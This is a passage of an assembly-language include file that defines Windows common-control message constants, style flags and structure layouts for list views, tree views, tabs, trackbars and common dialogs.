TTM_HITTEST equ WM_USER+10
TTM_HITTESTW equ WM_USER+55
TTM_GETTEXT equ WM_USER+11
TTM_GETTEXTW equ WM_USER+56
TTM_UPDATETIPTEXT equ WM_USER+12
TTM_UPDATETIPTEXTW equ WM_USER+57
TTM_GETTOOLCOUNT equ WM_USER+13
TTM_ENUMTOOLS equ WM_USER+14
TTM_ENUMTOOLSW equ WM_USER+58
TTM_GETCURRENTTOOL equ WM_USER+15
TTM_GETCURRENTTOOLW equ WM_USER+59
TTM_WINDOWFROMPOINT equ WM_USER+16
TTN_NEEDTEXT equ TTN_FIRST-0
TTN_NEEDTEXTW equ TTN_FIRST-10
TTN_SHOW equ TTN_FIRST-1
TTN_POP equ TTN_FIRST-2
SBARS_SIZEGRIP equ 0100h
SB_SETTEXT equ WM_USER+1
SB_SETTEXTW equ WM_USER+11
SB_GETTEXT equ WM_USER+2
SB_GETTEXTW equ WM_USER+13
SB_GETTEXTLENGTH equ WM_USER+3
SB_GETTEXTLENGTHW equ WM_USER+12
SB_SETPARTS equ WM_USER+4
SB_GETPARTS equ WM_USER+6
SB_GETBORDERS equ WM_USER+7
SB_SETMINHEIGHT equ WM_USER+8
SB_SIMPLE equ WM_USER+9
SB_GETRECT equ WM_USER+10
SBT_OWNERDRAW equ 1000h
SBT_NOBORDERS equ 0100h
SBT_POPOUT equ 0200h
SBT_RTLREADING equ 0400h
MINSYSCOMMAND equ SC_SIZE
TBS_AUTOTICKS equ 0001h
TBS_VERT equ 0002h
TBS_HORZ equ 0000h
TBS_TOP equ 0004h
TBS_BOTTOM equ 0000h
TBS_LEFT equ 0004h
TBS_RIGHT equ 0000h
TBS_BOTH equ 0008h
TBS_NOTICKS equ 0010h
TBS_ENABLESELRANGE equ 0020h
TBS_FIXEDLENGTH equ 0040h
TBS_NOTHUMB equ 0080h
TBM_GETPOS equ WM_USER
TBM_GETRANGEMIN equ WM_USER+1
TBM_GETRANGEMAX equ WM_USER+2
TBM_GETTIC equ WM_USER+3
TBM_SETTIC equ WM_USER+4
TBM_SETPOS equ WM_USER+5
TBM_SETRANGE equ WM_USER+6
TBM_SETRANGEMIN equ WM_USER+7
TBM_SETRANGEMAX equ WM_USER+8
TBM_CLEARTICS equ WM_USER+9
TBM_SETSEL equ WM_USER+10
TBM_SETSELSTART equ WM_USER+11
TBM_SETSELEND equ WM_USER+12
TBM_GETPTICS equ WM_USER+14
TBM_GETTICPOS equ WM_USER+15
TBM_GETNUMTICS equ WM_USER+16
TBM_GETSELSTART equ WM_USER+17
TBM_GETSELEND equ WM_USER+18
TBM_CLEARSEL equ WM_USER+19
TBM_SETTICFREQ equ WM_USER+20
TBM_SETPAGESIZE equ WM_USER+21
TBM_GETPAGESIZE equ WM_USER+22
TBM_SETLINESIZE equ WM_USER+23
TBM_GETLINESIZE equ WM_USER+24
TBM_GETTHUMBRECT equ WM_USER+25
TBM_GETCHANNELRECT equ WM_USER+26
TBM_SETTHUMBLENGTH equ WM_USER+27
TBM_GETTHUMBLENGTH equ WM_USER+28
TB_LINEUP equ 0
TB_LINEDOWN equ 1
TB_PAGEUP equ 2
TB_PAGEDOWN equ 3
TB_THUMBPOSITION equ 4
TB_THUMBTRACK equ 5
TB_TOP equ 6
TB_BOTTOM equ 7
TB_ENDTRACK equ 8
DL_BEGINDRAG equ WM_USER+133
DL_DRAGGING equ WM_USER+134
DL_DROPPED equ WM_USER+135
DL_CANCELDRAG equ WM_USER+136
DL_CURSORSET equ 0
DL_STOPCURSOR equ 1
DL_COPYCURSOR equ 2
DL_MOVECURSOR equ 3
UD_MAXVAL equ 7FFFh
UD_MINVAL equ -UD_MAXVAL
UDS_WRAP equ 0001h
UDS_SETBUDDYINT equ 0002h
UDS_ALIGNRIGHT equ 0004h
UDS_ALIGNLEFT equ 0008h
UDS_AUTOBUDDY equ 0010h
UDS_ARROWKEYS equ 0020h
UDS_HORZ equ 0040h
UDS_NOTHOUSANDS equ 0080h
UDM_SETRANGE equ WM_USER+101
UDM_GETRANGE equ WM_USER+102
UDM_SETPOS equ WM_USER+103
UDM_GETPOS equ WM_USER+104
UDM_SETBUDDY equ WM_USER+105
UDM_GETBUDDY equ WM_USER+106
UDM_SETACCEL equ WM_USER+107
UDM_GETACCEL equ WM_USER+108
UDM_SETBASE equ WM_USER+109
UDM_GETBASE equ WM_USER+110
UDN_DELTAPOS equ UDN_FIRST-1
PBM_SETRANGE equ WM_USER+1
PBM_SETPOS equ WM_USER+2
PBM_DELTAPOS equ WM_USER+3
PBM_SETSTEP equ WM_USER+4
PBM_STEPIT equ WM_USER+5
HOTKEYF_SHIFT equ 01h
HOTKEYF_CONTROL equ 02h
HOTKEYF_ALT equ 04h
HOTKEYF_EXT equ 08h
HKCOMB_NONE equ 0001h
HKCOMB_S equ 0002h
HKCOMB_C equ 0004h
HKCOMB_A equ 0008h
HKCOMB_SC equ 0010h
HKCOMB_SA equ 0020h
HKCOMB_CA equ 0040h
HKCOMB_SCA equ 0080h
HKM_SETHOTKEY equ WM_USER+1
HKM_GETHOTKEY equ WM_USER+2
HKM_SETRULES equ WM_USER+3
LVS_ICON equ 0000h
LVS_REPORT equ 0001h
LVS_SMALLICON equ 0002h
LVS_LIST equ 0003h
LVS_TYPEMASK equ 0003h
LVS_SINGLESEL equ 0004h
LVS_SHOWSELALWAYS equ 0008h
LVS_SORTASCENDING equ 0010h
LVS_SORTDESCENDING equ 0020h
LVS_SHAREIMAGELISTS equ 0040h
LVS_NOLABELWRAP equ 0080h
LVS_AUTOARRANGE equ 0100h
LVS_EDITLABELS equ 0200h
LVS_NOSCROLL equ 2000h
LVS_TYPESTYLEMASK equ 0fc00h
LVS_ALIGNTOP equ 0000h
LVS_ALIGNLEFT equ 0800h
LVS_ALIGNMASK equ 0c00h
LVS_OWNERDRAWFIXED equ 0400h
LVS_NOCOLUMNHEADER equ 4000h
LVS_NOSORTHEADER equ 8000h
LVM_GETBKCOLOR equ LVM_FIRST+0
LVM_SETBKCOLOR equ LVM_FIRST+1
LVM_GETIMAGELIST equ LVM_FIRST+2
LVSIL_NORMAL equ 0
LVSIL_SMALL equ 1
LVSIL_STATE equ 2
LVM_SETIMAGELIST equ LVM_FIRST+3
LVM_GETITEMCOUNT equ LVM_FIRST+4
LVIF_TEXT equ 0001h
LVIF_IMAGE equ 0002h
LVIF_PARAM equ 0004h
LVIF_STATE equ 0008h
LVIS_FOCUSED equ 0001h
LVIS_SELECTED equ 0002h
LVIS_CUT equ 0004h
LVIS_DROPHILITED equ 0008h
LVIS_OVERLAYMASK equ 0F00h
LVIS_STATEIMAGEMASK equ 0F000h
LPSTR_TEXTCALLBACKW equ -1
LPSTR_TEXTCALLBACK equ -1
I_IMAGECALLBACK equ -1
LVM_GETITEM equ LVM_FIRST+5
LVM_GETITEMW equ LVM_FIRST+75
LVM_SETITEM equ LVM_FIRST+6
LVM_SETITEMW equ LVM_FIRST+76
LVM_INSERTITEM equ LVM_FIRST+7
LVM_INSERTITEMW equ LVM_FIRST+77
LVM_DELETEITEM equ LVM_FIRST+8
LVM_DELETEALLITEMS equ LVM_FIRST+9
LVM_GETCALLBACKMASK equ LVM_FIRST+10
LVM_SETCALLBACKMASK equ LVM_FIRST+11
LVNI_ALL equ 0000h
LVNI_FOCUSED equ 0001h
LVNI_SELECTED equ 0002h
LVNI_CUT equ 0004h
LVNI_DROPHILITED equ 0008h
LVNI_ABOVE equ 0100h
LVNI_BELOW equ 0200h
LVNI_TOLEFT equ 0400h
LVNI_TORIGHT equ 0800h
LVM_GETNEXTITEM equ LVM_FIRST+12
LVFI_PARAM equ 0001h
LVFI_STRING equ 0002h
LVFI_PARTIAL equ 0008h
LVFI_WRAP equ 0020h
LVFI_NEARESTXY equ 0040h
LVM_FINDITEM equ LVM_FIRST+13
LVM_FINDITEMW equ LVM_FIRST+83
LVIR_BOUNDS equ 0
LVIR_ICON equ 1
LVIR_LABEL equ 2
LVIR_SELECTBOUNDS equ 3
LVM_GETITEMRECT equ LVM_FIRST+14
LVM_SETITEMPOSITION equ LVM_FIRST+15
LVM_GETITEMPOSITION equ LVM_FIRST+16
LVM_GETSTRINGWIDTH equ LVM_FIRST+17
LVM_GETSTRINGWIDTHW equ LVM_FIRST+87
LVHT_NOWHERE equ 0001h
LVHT_ONITEMICON equ 0002h
LVHT_ONITEMLABEL equ 0004h
LVHT_ONITEMSTATEICON equ 0008h
LVHT_ONITEM equ LVHT_ONITEMICON|LVHT_ONITEMLABEL|LVHT_ONITEMSTATEICON
LVHT_ABOVE equ 0008h
LVHT_BELOW equ 0010h
LVHT_TORIGHT equ 0020h
LVHT_TOLEFT equ 0040h
LVM_HITTEST equ LVM_FIRST+18
LVM_ENSUREVISIBLE equ LVM_FIRST+19
LVM_SCROLL equ LVM_FIRST+20
LVM_REDRAWITEMS equ LVM_FIRST+21
LVA_DEFAULT equ 0000h
LVA_ALIGNLEFT equ 0001h
LVA_ALIGNTOP equ 0002h
LVA_SNAPTOGRID equ 0005h
LVM_ARRANGE equ LVM_FIRST+22
LVM_EDITLABEL equ LVM_FIRST+23
LVM_EDITLABELW equ LVM_FIRST+118
LVM_GETEDITCONTROL equ LVM_FIRST+24
LVCF_FMT equ 0001h
LVCF_WIDTH equ 0002h
LVCF_TEXT equ 0004h
LVCF_SUBITEM equ 0008h
LVCFMT_LEFT equ 0000h
LVCFMT_RIGHT equ 0001h
LVCFMT_CENTER equ 0002h
LVCFMT_JUSTIFYMASK equ 0003h
LVM_GETCOLUMN equ LVM_FIRST+25
LVM_GETCOLUMNW equ LVM_FIRST+95
LVM_SETCOLUMN equ LVM_FIRST+26
LVM_SETCOLUMNW equ LVM_FIRST+96
LVM_INSERTCOLUMN equ LVM_FIRST+27
LVM_INSERTCOLUMNW equ LVM_FIRST+97
LVM_DELETECOLUMN equ LVM_FIRST+28
LVM_GETCOLUMNWIDTH equ LVM_FIRST+29
LVSCW_AUTOSIZE equ -1
LVSCW_AUTOSIZE_USEHEADER equ -2
LVM_SETCOLUMNWIDTH equ LVM_FIRST+30
LVM_CREATEDRAGIMAGE equ LVM_FIRST+33
LVM_GETVIEWRECT equ LVM_FIRST+34
LVM_GETTEXTCOLOR equ LVM_FIRST+35
LVM_SETTEXTCOLOR equ LVM_FIRST+36
LVM_GETTEXTBKCOLOR equ LVM_FIRST+37
LVM_SETTEXTBKCOLOR equ LVM_FIRST+38
LVM_GETTOPINDEX equ LVM_FIRST+39
LVM_GETCOUNTPERPAGE equ LVM_FIRST+40
LVM_GETORIGIN equ LVM_FIRST+41
LVM_UPDATE equ LVM_FIRST+42
LVM_SETITEMSTATE equ LVM_FIRST+43
LVM_GETITEMSTATE equ LVM_FIRST+44
LVM_GETITEMTEXT equ LVM_FIRST+45
LVM_GETITEMTEXTW equ LVM_FIRST+115
LVM_SETITEMTEXT equ LVM_FIRST+46
LVM_SETITEMTEXTW equ LVM_FIRST+116
LVM_SETITEMCOUNT equ LVM_FIRST+47
LVM_SORTITEMS equ LVM_FIRST+48
LVM_SETITEMPOSITION32 equ LVM_FIRST+49
LVM_GETSELECTEDCOUNT equ LVM_FIRST+50
LVM_GETITEMSPACING equ LVM_FIRST+51
LVM_GETISEARCHSTRING equ LVM_FIRST+52
LVM_GETISEARCHSTRINGW equ LVM_FIRST+117
LVN_ITEMCHANGING equ LVN_FIRST-0
LVN_ITEMCHANGED equ LVN_FIRST-1
LVN_INSERTITEM equ LVN_FIRST-2
LVN_DELETEITEM equ LVN_FIRST-3
LVN_DELETEALLITEMS equ LVN_FIRST-4
LVN_BEGINLABELEDIT equ LVN_FIRST-5
LVN_BEGINLABELEDITW equ LVN_FIRST-75
LVN_ENDLABELEDIT equ LVN_FIRST-6
LVN_ENDLABELEDITW equ LVN_FIRST-76
LVN_COLUMNCLICK equ LVN_FIRST-8
LVN_BEGINDRAG equ LVN_FIRST-9
LVN_BEGINRDRAG equ LVN_FIRST-11
LVN_GETDISPINFO equ LVN_FIRST-50
LVN_GETDISPINFOW equ LVN_FIRST-77
LVN_SETDISPINFO equ LVN_FIRST-51
LVN_SETDISPINFOW equ LVN_FIRST-78
LVIF_DI_SETITEM equ 1000h
LVN_KEYDOWN equ LVN_FIRST-55
TVS_HASBUTTONS equ 0001h
TVS_HASLINES equ 0002h
TVS_LINESATROOT equ 0004h
TVS_EDITLABELS equ 0008h
TVS_DISABLEDRAGDROP equ 0010h
TVS_SHOWSELALWAYS equ 0020h
TVIF_TEXT equ 0001h
TVIF_IMAGE equ 0002h
TVIF_PARAM equ 0004h
TVIF_STATE equ 0008h
TVIF_HANDLE equ 0010h
TVIF_SELECTEDIMAGE equ 0020h
TVIF_CHILDREN equ 0040h
TVIS_FOCUSED equ 0001h
TVIS_SELECTED equ 0002h
TVIS_CUT equ 0004h
TVIS_DROPHILITED equ 0008h
TVIS_BOLD equ 0010h
TVIS_EXPANDED equ 0020h
TVIS_EXPANDEDONCE equ 0040h
TVIS_OVERLAYMASK equ 0F00h
TVIS_STATEIMAGEMASK equ 0F000h
TVIS_USERMASK equ 0F000h
I_CHILDRENCALLBACK equ -1
TVI_ROOT equ 0FFFF0000h
TVI_FIRST equ 0FFFF0001h
TVI_LAST equ 0FFFF0002h
TVI_SORT equ 0FFFF0003h
TVM_INSERTITEM equ TV_FIRST+0
TVM_INSERTITEMW equ TV_FIRST+50
TVM_DELETEITEM equ TV_FIRST+1
TVM_EXPAND equ TV_FIRST+2
TVE_COLLAPSE equ 0001h
TVE_EXPAND equ 0002h
TVE_TOGGLE equ 0003h
TVE_COLLAPSERESET equ 8000h
TVM_GETITEMRECT equ TV_FIRST+4
TVM_GETCOUNT equ TV_FIRST+5
TVM_GETINDENT equ TV_FIRST+6
TVM_SETINDENT equ TV_FIRST+7
TVM_GETIMAGELIST equ TV_FIRST+8
TVSIL_NORMAL equ 0
TVSIL_STATE equ 2
TVM_SETIMAGELIST equ TV_FIRST+9
TVM_GETNEXTITEM equ TV_FIRST+10
TVGN_ROOT equ 0000h
TVGN_NEXT equ 0001h
TVGN_PREVIOUS equ 0002h
TVGN_PARENT equ 0003h
TVGN_CHILD equ 0004h
TVGN_FIRSTVISIBLE equ 0005h
TVGN_NEXTVISIBLE equ 0006h
TVGN_PREVIOUSVISIBLE equ 0007h
TVGN_DROPHILITE equ 0008h
TVGN_CARET equ 0009h
TVM_SELECTITEM equ TV_FIRST+11
TVM_GETITEM equ TV_FIRST+12
TVM_GETITEMW equ TV_FIRST+62
TVM_SETITEM equ TV_FIRST+13
TVM_SETITEMW equ TV_FIRST+63
TVM_EDITLABEL equ TV_FIRST+14
TVM_EDITLABELW equ TV_FIRST+65
TVM_GETEDITCONTROL equ TV_FIRST+15
TVM_GETVISIBLECOUNT equ TV_FIRST+16
TVM_HITTEST equ TV_FIRST+17
TVHT_NOWHERE equ 0001h
TVHT_ONITEMICON equ 0002h
TVHT_ONITEMLABEL equ 0004h
TVHT_ONITEMSTATEICON equ 0040h
TVHT_ONITEM equ TVHT_ONITEMICON|TVHT_ONITEMLABEL|TVHT_ONITEMSTATEICON
TVHT_ONITEMINDENT equ 0008h
TVHT_ONITEMBUTTON equ 0010h
TVHT_ONITEMRIGHT equ 0020h
TVHT_ABOVE equ 0100h
TVHT_BELOW equ 0200h
TVHT_TORIGHT equ 0400h
TVHT_TOLEFT equ 0800h
TVM_CREATEDRAGIMAGE equ TV_FIRST+18
TVM_SORTCHILDREN equ TV_FIRST+19
TVM_ENSUREVISIBLE equ TV_FIRST+20
TVM_SORTCHILDRENCB equ TV_FIRST+21
TVM_ENDEDITLABELNOW equ TV_FIRST+22
TVM_GETISEARCHSTRING equ TV_FIRST+23
TVM_GETISEARCHSTRINGW equ TV_FIRST+64
TVN_SELCHANGINGA equ TVN_FIRST-1
TVN_SELCHANGINGW equ TVN_FIRST-50
TVN_SELCHANGEDA equ TVN_FIRST-2
TVN_SELCHANGEDW equ TVN_FIRST-51
TVC_UNKNOWN equ 0000h
TVC_BYMOUSE equ 0001h
TVC_BYKEYBOARD equ 0002h
TVN_GETDISPINFOA equ TVN_FIRST-3
TVN_GETDISPINFOW equ TVN_FIRST-52
TVN_SETDISPINFOA equ TVN_FIRST-4
TVN_SETDISPINFOW equ TVN_FIRST-53
TVIF_DI_SETITEM equ 1000h
TVN_ITEMEXPANDING equ TVN_FIRST-5
TVN_ITEMEXPANDINGW equ TVN_FIRST-54
TVN_ITEMEXPANDED equ TVN_FIRST-6
TVN_ITEMEXPANDEDW equ TVN_FIRST-55
TVN_BEGINDRAG equ TVN_FIRST-7
TVN_BEGINDRAGW equ TVN_FIRST-56
TVN_BEGINRDRAG equ TVN_FIRST-8
TVN_BEGINRDRAGW equ TVN_FIRST-57
TVN_DELETEITEM equ TVN_FIRST-9
TVN_DELETEITEMW equ TVN_FIRST-58
TVN_BEGINLABELEDIT equ TVN_FIRST-10
TVN_BEGINLABELEDITW equ TVN_FIRST-59
TVN_ENDLABELEDIT equ TVN_FIRST-11
TVN_ENDLABELEDITW equ TVN_FIRST-60
TVN_KEYDOWN equ TVN_FIRST-12
TCS_FORCEICONLEFT equ 0010h
TCS_FORCELABELLEFT equ 0020h
TCS_TABS equ 0000h
TCS_BUTTONS equ 0100h
TCS_SINGLELINE equ 0000h
TCS_MULTILINE equ 0200h
TCS_RIGHTJUSTIFY equ 0000h
TCS_FIXEDWIDTH equ 0400h
TCS_RAGGEDRIGHT equ 0800h
TCS_FOCUSONBUTTONDOWN equ 1000h
TCS_OWNERDRAWFIXED equ 2000h
TCS_TOOLTIPS equ 4000h
TCS_FOCUSNEVER equ 8000h
TCM_FIRST equ 1300h
TCM_GETIMAGELIST equ TCM_FIRST+2
TCM_SETIMAGELIST equ TCM_FIRST+3
TCM_GETITEMCOUNT equ TCM_FIRST+4
TCIF_TEXT equ 0001h
TCIF_IMAGE equ 0002h
TCIF_RTLREADING equ 0004h
TCIF_PARAM equ 0008h
TCM_GETITEM equ TCM_FIRST+5
TCM_SETITEM equ TCM_FIRST+6
TCM_SETITEMW equ TCM_FIRST+61
TCM_INSERTITEM equ TCM_FIRST+7
TCM_INSERTITEMW equ TCM_FIRST+62
TCM_DELETEITEM equ TCM_FIRST+8
TCM_DELETEALLITEMS equ TCM_FIRST+9
TCM_GETITEMRECT equ TCM_FIRST+10
TCM_GETCURSEL equ TCM_FIRST+11
TCM_SETCURSEL equ TCM_FIRST+12
TCHT_NOWHERE equ 0001h
TCHT_ONITEMICON equ 0002h
TCHT_ONITEMLABEL equ 0004h
TCHT_ONITEM equ TCHT_ONITEMICON|TCHT_ONITEMLABEL
TCM_HITTEST equ TCM_FIRST+13
TCM_SETITEMEXTRA equ TCM_FIRST+14
TCM_ADJUSTRECT equ TCM_FIRST+40
TCM_SETITEMSIZE equ TCM_FIRST+41
TCM_REMOVEIMAGE equ TCM_FIRST+42
TCM_SETPADDING equ TCM_FIRST+43
TCM_GETROWCOUNT equ TCM_FIRST+44
TCM_GETTOOLTIPS equ TCM_FIRST+45
TCM_SETTOOLTIPS equ TCM_FIRST+46
TCM_GETCURFOCUS equ TCM_FIRST+47
TCM_SETCURFOCUS equ TCM_FIRST+48
TCN_KEYDOWN equ TCN_FIRST-0
TCN_SELCHANGE equ TCN_FIRST-1
TCN_SELCHANGING equ TCN_FIRST-2
ACS_CENTER equ 0001h
ACS_TRANSPARENT equ 0002h
ACS_AUTOPLAY equ 0004h
ACM_OPEN equ WM_USER+100
ACM_OPENW equ WM_USER+103
ACM_PLAY equ WM_USER+101
ACM_STOP equ WM_USER+102
ACN_START equ 1
ACN_STOP equ 2
;-------------------------comctl structures------------------------------
STRUC INIT_COMMON_CONTROLSEX
.dwSize RESD 1
.dwICC RESD 1
ENDSTRUC

STRUC REBARINFO
.cbSize RESD 1
.fMask RESD 1
.himl RESD 1
ENDSTRUC

STRUC REBARBANDINFO
.cbSize RESD 1
.fMask RESD 1
.fStyle RESD 1
.clrFore RESD 1
.clrBack RESD 1
.lpText RESD 1
.cch RESD 1
.iImage RESD 1
.hwndChild RESD 1
.cxMinChild RESD 1
.cyMinChild RESD 1
.lx RESD 1
.hbmBack RESD 1
.wID RESD 1
.cyChild RESD 1
.cyMaxChild RESD 1
.cyIntegral RESD 1
.cxIdeal RESD 1
.lParam RESD 1
.cxHeader RESD 1
ENDSTRUC

STRUC NMREBARCHILDSIZE
.hdr RESB NMHDR_size
.uBand RESD 1
.wID RESD 1
.rcChild RESB RECT_size
.rcBand RESB RECT_size
ENDSTRUC

STRUC NMREBAR
.hdr RESB NMHDR_size
.dwMask RESD 1
.uBand RESD 1
.fStyle RESD 1
.wID RESD 1
.lParam RESD 1
ENDSTRUC

STRUC NMRBAUTOSIZE
.hdr RESB NMHDR_size
.fChanged RESD 1
.rcTarget RESB RECT_size
.rcActual RESB RECT_size
ENDSTRUC

STRUC RB_HITTESTINFO
.pt RESB POINT_size
.flags RESD 1
.iBand RESW 1
ENDSTRUC

STRUC IMAGEINFO
.hbmImage RESD 1
.hbmMask RESD 1
.Unused1 RESD 1
.Unused2 RESD 1
.rcImage RESB RECT_size
ENDSTRUC

STRUC HD_ITEM
.imask RESD 1
.lxy RESD 1
.pszText RESD 1
.hbm RESD 1
.cchTextMax RESD 1
.fmt RESD 1
.lParam RESD 1
ENDSTRUC

STRUC HD_LAYOUT
.prc RESD 1
.pwpos RESD 1
ENDSTRUC

STRUC HD_HITTESTINFO
.pt RESB POINT_size
.flags RESD 1
.iItem RESD 1
ENDSTRUC

STRUC HD_NOTIFY
.hdr RESB NMHDR_size
.iItem RESD 1
.iButton RESD 1
.pitem RESD 1
ENDSTRUC

STRUC TBBUTTON
.iBitmap RESD 1
.idCommand RESD 1
.fsState RESB 1
.fsStyle RESB 1
.dwData RESD 1
.iString RESD 1
ENDSTRUC

STRUC ColorMap
.cmFrom RESD 1
.cmTo RESD 1
ENDSTRUC

STRUC TBADDBITMAP
.hInst RESD 1
.nId RESD 1
ENDSTRUC

STRUC TBSAVEPARAMS
.hkr RESD 1
.pszSubKey RESD 1
.pszValueName RESD 1
ENDSTRUC

STRUC TBREPLACEBITMAP
.hInstOld RESD 1
.nIdOld RESD 1
.hInstNew RESD 1
.nIdNew RESD 1
.nButtons RESD 1
ENDSTRUC

STRUC TBNOTIFY
.hdr RESB NMHDR_size
.iItem RESD 1
.tbButton RESB TBBUTTON_size
.cchText RESD 1
.pszText RESD 1
ENDSTRUC

STRUC TOOLINFO
.cbSize RESD 1
.uFlags RESD 1
.hWnd RESD 1
.uId RESD 1
.rect RESB RECT_size
.hInst RESD 1
.lpszText RESD 1
.lParam RESD 1
ENDSTRUC

STRUC TT_HITTESTINFO
.hWnd RESD 1
.pt RESB POINT_size
.ti RESB TOOLINFO_size
ENDSTRUC

STRUC TOOLTIPTEXT
.hdr RESB NMHDR_size
.lpszText RESD 1
.szText RESB 80
.hInst RESD 1
.uFlags RESD 1
ENDSTRUC

STRUC DRAGLISTINFO
.uNotification RESD 1
.hWnd RESD 1
.ptCursor RESB POINT_size
ENDSTRUC

STRUC UDACCEL
.nSec RESD 1
.nInc RESD 1
ENDSTRUC

STRUC NM_UPDOWN
.hdr RESB NMHDR_size
.iPos RESD 1
.iDelta RESD 1
ENDSTRUC

STRUC LV_ITEM
.imask RESD 1
.iItem RESD 1
.iSubItem RESD 1
.state RESD 1
.stateMask RESD 1
.pszText RESD 1
.cchTextMax RESD 1
.iImage RESD 1
.lParam RESD 1
ENDSTRUC

STRUC LV_FINDINFO
.flags RESD 1
.psz RESD 1
.lParam RESD 1
.pt RESB POINT_size
.vkDirection RESD 1
ENDSTRUC

STRUC LV_HITTESTINFO
.pt RESB POINT_size
.flags RESD 1
.iItem RESD 1
ENDSTRUC

STRUC LV_COLUMN
.imask RESD 1
.fmt RESD 1
.lx RESD 1
.pszText RESD 1
.cchTextMax RESD 1
.iSubItem RESD 1
ENDSTRUC

STRUC NM_LISTVIEW
.hdr RESB NMHDR_size
.iItem RESD 1
.iSubItem RESD 1
.uNewState RESD 1
.uOldState RESD 1
.uChanged RESD 1
.ptAction RESB POINT_size
.lParam RESD 1
ENDSTRUC

STRUC LV_DISPINFO
.hdr RESB NMHDR_size
.item RESD 1
ENDSTRUC

STRUC LV_KEYDOWN
.hdr RESB NMHDR_size
.wVKey RESW 1
.flags RESD 1
ENDSTRUC

STRUC TREEITEM
.dummy RESD 1
ENDSTRUC

STRUC TV_ITEM
.imask RESD 1
.hItem RESD 1
.state RESD 1
.stateMask RESD 1
.pszText RESD 1
.cchTextMax RESD 1
.iImage RESD 1
.iSelectedImage RESD 1
.cChildren RESD 1
.lParam RESD 1
ENDSTRUC

STRUC TV_INSERTSTRUCT
.hParent RESD 1
.hInsertAfter RESD 1
.item RESD 1
ENDSTRUC

STRUC TV_HITTESTINFO
.pt RESB POINT_size
.flags RESD 1
.hItem RESD 1
ENDSTRUC

STRUC TV_SORTCB
.hParent RESD 1
.lpfnCompare RESD 1
.lParam RESD 1
ENDSTRUC

STRUC NM_TREEVIEW
.hdr RESB NMHDR_size
.action RESD 1
.itemOld RESD 1
.itemNew RESD 1
.ptDrag RESB POINT_size
ENDSTRUC

STRUC TV_DISPINFO
.hdr RESB NMHDR_size
.item RESD 1
ENDSTRUC

STRUC TV_KEYDOWN
.hdr RESB NMHDR_size
.wVKey RESW 1
.flags RESD 1
ENDSTRUC

STRUC TC_ITEMHEADER
.imask RESD 1
.lpReserved1 RESD 1
.lpReserved2 RESD 1
.pszText RESD 1
.cchTextMax RESD 1
.iImage RESD 1
ENDSTRUC

STRUC TC_ITEM
.imask RESD 1
.lpReserved1 RESD 1
.lpReserved2 RESD 1
.pszText RESD 1
.cchTextMax RESD 1
.iImage RESD 1
.lParam RESD 1
ENDSTRUC

STRUC TC_HITTESTINFO
.pt RESB POINT_size
.flags RESD 1
ENDSTRUC

STRUC TC_KEYDOWN
.hdr RESB NMHDR_size
.wVKey RESW 1
.flags RESD 1
ENDSTRUC

;--------------------------comdlg equates-------------------------------
CDERR_GENERALCODES equ 0000h
CDERR_STRUCTSIZE equ 0001h
CDERR_INITIALIZATION equ 0002h
CDERR_NOTEMPLATE equ 0003h
CDERR_NOHINSTANCE equ 0004h
CDERR_LOADSTRFAILURE equ 0005h
CDERR_FINDRESFAILURE equ 0006h
CDERR_LOADRESFAILURE equ 0007h
CDERR_LOCKRESFAILURE equ 0008h
CDERR_MEMALLOCFAILURE equ 0009h
CDERR_MEMLOCKFAILURE equ 000Ah
CDERR_NOHOOK equ 000Bh
CDERR_REGISTERMSGFAIL equ 000Ch
CC_RGBINIT equ 00000001h
CC_FULLOPEN equ 00000002h
CC_PREVENTFULLOPEN equ 00000004h
CC_SHOWHELP equ 00000008h
CC_ENABLEHOOK equ 00000010h
CC_ENABLETEMPLATE equ 00000020h
CC_ENABLETEMPLATEHANDLE equ 00000040h
CCERR_CHOOSECOLORCODES equ 5000h
FR_DOWN equ 00000001h
FR_WHOLEWORD equ 00000002h
FR_MATCHCASE equ 00000004h
FR_FINDNEXT equ 00000008h
FR_REPLACE equ 00000010h
FR_REPLACEALL equ 00000020h
FR_DIALOGTERM equ 00000040h
FR_SHOWHELP equ 00000080h
FR_ENABLEHOOK equ 00000100h
FR_ENABLETEMPLATE equ 00000200h
FR_NOUPDOWN equ 00000400h
FR_NOMATCHCASE equ 00000800h
FR_NOWHOLEWORD equ 00001000h
FR_ENABLETEMPLATEHANDLE equ 00002000h
FR_HIDEUPDOWN equ 00004000h
FR_HIDEMATCHCASE equ 00008000h
FR_HIDEWHOLEWORD equ 00010000h
FRERR_FINDREPLACECODES equ 4000h
FRERR_BUFFERLENGTHZERO equ 4001h
CF_SCREENFONTS equ 00000001h
CF_PRINTERFONTS equ 00000002h
CF_BOTH equ CF_SCREENFONTS+CF_PRINTERFONTS
CF_SHOWHELP equ 00000004h
CF_ENABLEHOOK equ 00000008h
CF_ENABLETEMPLATE equ 00000010h
CF_ENABLETEMPLATEHANDLE equ 00000020h
CF_INITTOLOGFONTSTRUCT equ 00000040h
CF_USESTYLE equ 00000080h
CF_EFFECTS equ 00000100h
CF_APPLY equ 00000200h
CF_ANSIONLY equ 00000400h
CF_NOVECTORFONTS equ 00000800h
CF_NOOEMFONTS equ CF_NOVECTORFONTS
CF_NOSIMULATIONS equ 00001000h
CF_LIMITSIZE equ 00002000h
CF_FIXEDPITCHONLY equ 00004000h
CF_WYSIWYG equ 00008000h
CF_FORCEFONTEXIST equ 00010000h
CF_SCALABLEONLY equ 00020000h
CF_TTONLY equ 00040000h
CF_NOFACESEL equ 00080000h
CF_NOSTYLESEL equ 00100000h
CF_NOSIZESEL equ 00200000h
CFERR_CHOOSEFONTCODES equ 2000h
CFERR_NOFONTS equ 2001h
CFERR_MAXLESSTHANMIN equ 2002h
WM_CHOOSEFONT_GETLOGFONT equ WM_USER+1
CD_LBSELNOITEMS equ -1
CD_LBSELCHANGE equ 0
CD_LBSELSUB equ 1
CD_LBSELADD equ 2
PD_ALLPAGES equ 00000000h
PD_SELECTION equ 00000001h
PD_PAGENUMS equ 00000002h
PD_NOSELECTION equ 00000004h
PD_NOPAGENUMS equ 00000008h
PD_COLLATE equ 00000010h
PD_PRINTTOFILE equ 00000020h
PD_PRINTSETUP equ 00000040h
PD_NOWARNING equ 00000080h
PD_RETURNDC equ 00000100h
PD_RETURNIC equ 00000200h
PD_RETURNDEFAULT equ 00000400h
PD_SHOWHELP equ 00000800h
PD_ENABLEPRINTHOOK equ 00001000h
PD_ENABLESETUPHOOK equ 00002000h
PD_ENABLEPRINTTEMPLATE equ 00004000h
PD_ENABLESETUPTEMPLATE equ 00008000h
PD_ENABLEPRINTTEMPLATEHANDLE equ 00010000h
PD_ENABLESETUPTEMPLATEHANDLE equ 00020000h
